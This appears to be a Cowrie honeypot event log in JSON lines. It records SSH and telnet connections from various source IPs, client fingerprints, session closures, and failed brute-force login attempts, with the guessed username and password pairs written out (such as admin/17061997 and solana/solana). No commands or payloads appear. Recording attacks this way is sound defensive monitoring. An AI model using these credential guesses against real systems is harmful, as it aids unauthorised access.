{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0b69337007","protocol":"telnet","message":"New connection: 69.65.3.189:56428 (10.17.0.5:23) [session: 9a0b69337007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:20.248232Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56726,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8db22bfd78","protocol":"telnet","message":"New connection: 69.65.3.189:56726 (10.17.0.5:23) [session: af8db22bfd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:24.379339Z"}
{"eventid":"cowrie.session.closed","duration":42.480029582977295,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:41.041387Z","src_ip":"103.115.172.252","session":"6af08716d399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36482,"dst_ip":"10.17.0.5","dst_port":22,"session":"588c716bf3b1","protocol":"ssh","message":"New connection: 80.94.92.184:36482 (10.17.0.5:22) [session: 588c716bf3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:41.278835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:41.342484Z","src_ip":"80.94.92.184","session":"588c716bf3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:41.510007Z","src_ip":"80.94.92.184","session":"588c716bf3b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:42.574966Z","src_ip":"80.94.92.184","session":"588c716bf3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:43.738878Z","src_ip":"80.94.92.184","session":"588c716bf3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.42361116409302,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:31:59.671671Z","src_ip":"69.65.3.189","session":"9a0b69337007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.28201961517334,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:04.661234Z","src_ip":"69.65.3.189","session":"af8db22bfd78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":51170,"dst_ip":"159.203.135.109","dst_port":22,"session":"5427d75ab3d8","protocol":"ssh","message":"New connection: 187.16.96.250:51170 (159.203.135.109:22) [session: 5427d75ab3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:07.964579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:07.969383Z","src_ip":"187.16.96.250","session":"5427d75ab3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:08.085810Z","src_ip":"187.16.96.250","session":"5427d75ab3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123123","message":"login attempt [test/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:08.583197Z","src_ip":"187.16.96.250","session":"5427d75ab3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:32:09.701707Z","src_ip":"187.16.96.250","session":"5427d75ab3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46826,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a5f8e3df3d","protocol":"telnet","message":"New connection: 69.65.3.189:46826 (10.17.0.5:23) [session: c7a5f8e3df3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:33:13.879276Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":25805,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd81f9fecf0","protocol":"telnet","message":"New connection: 89.43.132.91:25805 (10.17.0.5:23) [session: 6fd81f9fecf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:33:35.642666Z"}
{"eventid":"cowrie.session.closed","duration":37.57113313674927,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:33:51.450279Z","src_ip":"69.65.3.189","session":"c7a5f8e3df3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":53612,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5515000b2bd","protocol":"telnet","message":"New connection: 69.65.3.189:53612 (10.17.0.5:23) [session: c5515000b2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:33:56.147971Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20793,"dst_ip":"159.203.135.109","dst_port":22,"session":"c72556e54826","protocol":"ssh","message":"New connection: 2.57.121.112:20793 (159.203.135.109:22) [session: c72556e54826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:27.536304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:27.541058Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:27.640547Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170671","message":"login attempt [admin/170671] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:28.111058Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17061997","message":"login attempt [admin/17061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:29.213706Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17061996","message":"login attempt [admin/17061996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:30.325547Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1706","message":"login attempt [admin/1706] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:31.428362Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170579","message":"login attempt [admin/170579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:32.532543Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39152,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b76be0006e6","protocol":"ssh","message":"New connection: 80.94.92.184:39152 (10.17.0.5:22) [session: 9b76be0006e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:33.577314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:33.614326Z","src_ip":"80.94.92.184","session":"9b76be0006e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:33.635613Z","src_ip":"2.57.121.112","session":"c72556e54826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:33.747405Z","src_ip":"80.94.92.184","session":"9b76be0006e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:34.459348Z","src_ip":"80.94.92.184","session":"9b76be0006e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.89953064918518,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:35.047379Z","src_ip":"69.65.3.189","session":"c5515000b2bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:34:35.639224Z","src_ip":"80.94.92.184","session":"9b76be0006e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":52812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d3107054d6c","protocol":"ssh","message":"New connection: 187.16.96.250:52812 (159.203.135.109:22) [session: 0d3107054d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:19.793823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:19.798799Z","src_ip":"187.16.96.250","session":"0d3107054d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:19.915558Z","src_ip":"187.16.96.250","session":"0d3107054d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"admin","message":"login attempt [guest/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:20.414506Z","src_ip":"187.16.96.250","session":"0d3107054d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:21.537330Z","src_ip":"187.16.96.250","session":"0d3107054d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.91.64.6","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b6090a18de3","protocol":"ssh","message":"New connection: 45.91.64.6:60023 (159.203.135.109:22) [session: 3b6090a18de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:24.498232Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:24.632036Z","src_ip":"45.91.64.6","session":"3b6090a18de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102591514587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:35.643561Z","src_ip":"89.43.132.91","session":"6fd81f9fecf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":41636,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c5b6ef3b53c","protocol":"telnet","message":"New connection: 89.43.132.91:41636 (10.17.0.5:23) [session: 3c5b6ef3b53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:36.325121Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":42942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f509650242e2","protocol":"telnet","message":"New connection: 89.43.132.91:42942 (10.17.0.5:23) [session: f509650242e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:35:40.311261Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.48.79","src_port":9406,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad985e72c48e","protocol":"telnet","message":"New connection: 189.217.48.79:9406 (159.203.135.109:23) [session: ad985e72c48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:04.477618Z"}
{"eventid":"cowrie.session.closed","duration":12.56064772605896,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:17.038131Z","src_ip":"189.217.48.79","session":"ad985e72c48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41834,"dst_ip":"10.17.0.5","dst_port":22,"session":"9936a5c1e512","protocol":"ssh","message":"New connection: 80.94.92.184:41834 (10.17.0.5:22) [session: 9936a5c1e512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:19.995562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:20.052164Z","src_ip":"80.94.92.184","session":"9936a5c1e512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:20.547499Z","src_ip":"80.94.92.184","session":"9936a5c1e512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:21.685586Z","src_ip":"80.94.92.184","session":"9936a5c1e512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:22.855709Z","src_ip":"80.94.92.184","session":"9936a5c1e512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186014175415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:36.326855Z","src_ip":"89.43.132.91","session":"3c5b6ef3b53c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":28809,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4f6ca161be","protocol":"telnet","message":"New connection: 89.43.132.91:28809 (10.17.0.5:23) [session: eb4f6ca161be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:36.949336Z"}
{"eventid":"cowrie.session.closed","duration":120.00107741355896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:40.312242Z","src_ip":"89.43.132.91","session":"f509650242e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":20943,"dst_ip":"10.17.0.5","dst_port":23,"session":"e032ccb9c335","protocol":"telnet","message":"New connection: 89.43.132.91:20943 (10.17.0.5:23) [session: e032ccb9c335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:37:40.854928Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":40786,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a4639f6a34","protocol":"ssh","message":"New connection: 187.16.96.250:40786 (159.203.135.109:22) [session: 01a4639f6a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:38:37.803906Z"}
